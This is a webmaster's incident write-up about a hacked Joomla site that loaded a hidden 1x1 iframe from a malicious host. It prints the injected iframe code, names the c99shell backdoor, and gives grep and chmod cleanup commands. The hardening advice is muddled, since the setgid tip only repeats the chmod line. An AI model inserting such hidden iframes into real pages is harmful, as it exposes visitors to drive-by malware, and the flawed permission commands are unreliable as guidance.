Everything has started with an email

From: Enrique MONTECRISTO (This email address is being protected from spambots. You need JavaScript enabled to view it.)
Sent: Mon 6/18/07 10:04 PM
To: This email address is being protected from spambots. You need JavaScript enabled to view it.
Hello Cedric,
When I browse your website with Firefox, I get this kind of warning from my GDATA antivirus shield :
Virus: Trojan-Downloader.VBS.Agent.u
Adress: stat1count.net
Virus: Trojan-Downloader.JS.Agent.fq
Address: stat1count.net
Is it a fake ?

The "virus" Trojan-Downloader.JS. seems like a malicious javascript inline somewhere in my homepage
Thanks to Firefox WebDeveloper toolbar, it was quite easy to locate the malicious script (View all javascript)

The Hacker was inserting 2 strange line in my content. He has tampered:

// displays queries performed for page
if ($mosConfig_debug) {
    echo $database->_ticker . ' queries executed';
    echo '<pre>';
    foreach ($database->_log as $k=>$sql) {
        echo $k+1 . "\n" . $sql . '<hr />';
    echo '</pre>';

<iframe width='1' height='1' border='0' frameborder='0' src='http://xxxx.info/stds/go.php?sid=3'></iframe>

AND /index2.php

<html xmlns="http://www.w3.org/1999/xhtml">
            <?php echo $mainframe->getHead(); ?>
            <link rel="stylesheet" href="templates/<?php echo $cur_template;?>/css/template_css.css" type="text/css" />
            <link rel="shortcut icon" href="<?php echo $mosConfig_live_site; ?>/images/favicon.ico" />
            <meta http-equiv="Content-Type" content="text/html; <?php echo _ISO; ?>" />
            <meta name="robots" content="noindex, nofollow" />
            <?php if ($my->id || $mainframe->get( 'joomlaJavascript' )) { ?>
            <script language="JavaScript" src="<?php echo $mosConfig_live_site;?>/includes/js/joomla.javascript.js" type="text/javascript"></script>
            <?php } ?>
        <body class="contentpane">
           <iframe width='1' height='1' border='0' frameborder='0' src='http://xxxxx.info/stds/go.php?sid=3'></iframe>
            <?php mosMainBody(); ?>

Which got replace at runtime with

xxxxx.info  I dont want to make publicity to this hacker by publishing his server url here

How to find all place potentialy infected?

return a list of all files with path (-H) that contains the substring xxxxx

# find . -type f  -exec grep -H xxxxx {} \;

How did I get infected?

It seems that the hacker has use my demo site at demo.waltercedric.com to copy an image on the server or replace an existing one which was having bad user rights
It may be an image like this one runme.php.jpg  this image then bootstrap and load a hacker tool c99shell (also known as PHP/C99Shell.A or Backdoor.PHP.C99Shell.c)

PHP/C99Shell-A is a backdoor Trojan for platforms with PHP support, such as web servers. PHP/C99Shell-A listens for commands from a remote user.

How to avoid that next time

No file in apache root must have more than r--r--r-- rights so here is a small scripts that you can crontab or save for periodically check. It automatically change all files to read only for all, group and other

# find . -type f -perm 600 -exec chmod ago=r {} \;

Joomla! is automating during file save the CHMOD, but not on all files in the structure.

Avoid any files with setguid in your apache root
# find . -type f -perm 600 -exec chmod ago=r {} \;


You might like also

The Appthority® App Report
The Appthority® App Report for February 2013 provides an overview of the security risks behind 100 free iOS and Android apps. Appthority examined the differences between the Android and iOS app ecosystems; compared app behaviors across five popular app categories (business, education, entertainment, finance, games); and looked at the developers behind these apps. Report Highlights The vast majority of free apps send and receive data to outside parties without encryption. 96% of total apps share data with advertising networks and/or …
2489 Days ago
CryptoParty Handbook v1.1 has been released
CryptoParty is a grassroots global endeavor to introduce the basics of practical cryptography such as the Tor anonymity network, key signing parties, True Crypt, and virtual private networks to the general public. The first draft of the 442-page CryptoParty Handbook (the hard copy of which is available at cost), was pulled together in three days using the book sprint approach, and was released 2012-10-04 under a CC-BY-SA license; it remains under constant revision. The CryptoParty Handbook v1.1 has been released and you …
2533 Days ago
Virtualizes a Linux server on the fly with RSYNC
You'll need a lot of patience...Since there is no VMWARE Converter for #Linux...My objective is to virtualizes my Internet server running SUSE in a VMWARE to ease the migration to a more powerful and up to date server. I am using RSYNC since: I have no access to the machine, So I can't stop the server and make a binary images of the disk as the server is in a STRATO data center in Germany (Berlin) I don't like operations …
4181 Days ago
How to Secure Your Windows Computer and Protect Your Privacy
Anybody using internet should really read this article. While targeted at windows users, most of the rules also apply to users of #Linux and mac. "Security consultant Howard Fosdick has contributed the latest entry in the 2008 OSNews Article Contest: a highly detailed examination of security and privacy on the Windows platform, and how to use free software tools and a little knowledge to protect your privacy online. Do you know that -- Windows secretly records all the web sites …
4289 Days ago
No Thumbnail was found
I know that Secure, Safe, Fast #Linux Hosting sound silly as nothing can be fast and secure at the same time, but I've compiled a list of things that are worth doing if you are maintaining your own server. This list is clearly targeted for people running an open source stack made of Apache, MySQL, PHP and #Linux. This list is an ongoing work, thta is why it has also a version number in it (v1.0). As soon as I …
4350 Days ago
Security made easy, automatic scan and update of your installed applications
If you are on the paranoia side, and you better should, if you're using ebanking on an internet connected pc. Secunia is a well known internet site, Secunia is a Danish computer security service provider best known for tracking vulnerabilities in more than 12,400 pieces of software and operating systems. Numbers of "unpatched" vulnerabilities in popular applications are frequently quoted in software comparisons.Secunia also tracks currently active computer viruses. Secunia has gained publicity and a notable reputation with the discovery …
4475 Days ago
No Thumbnail was found
FaF (File Anomaly Finder) is a wrapper for the *nix 'find' utility. It generates audit reports for data matching specific characteristics; such data as setgid/setuid, unowned, and more. The objectives are simply to create a simple anomaly finder that identifies common flawed permissions or otherwise suspicious file system characteristics. The main features of FaF are: simplistic and to the point audit reports easy setup and configuration audits emailed to customizable address or user ideal for web servers or general purpose …
4574 Days ago
No Thumbnail was found
SIM is a system and services monitor for ‘SysVinit’ systems. It is designed to be intuitive and modular in nature, and to provide a clean and informative status system. It does this by consistently verifying that services are online, load averages are in check, and log files are at reasonable sizes. Many other SIM modules sport different and in-depth features to bring a well rounded tool to your disposal to stop otherwise common issues daunting internet hosts. Features: - Service …
4574 Days ago
No Thumbnail was found
Rootkit scanner is scanning tool to ensure you for about 99.9%* you're clean of nasty tools. This tool scans for rootkits, backdoors and local exploits by running tests like: MD5 hash compare Look for default files used by rootkits Wrong file permissions for binaries Look for suspected strings in LKM and KLD modules Look for hidden files Optional scan within plaintext and binary filesRootkit Hunter is released as GPL licensed project and free for everyone to use. …
4575 Days ago
No Thumbnail was found
chkrootkit is a tool to locally check for signs of a rootkit. chkrootkit is a common unix-based program intended to help system administrators check their system for known rootkits. It works by using several mechanisms, including comparison of file signatures to known rootkits, checking for suspicious activity (processes listed in the proc filesystem but not in the output of the 'ps' command. …
4575 Days ago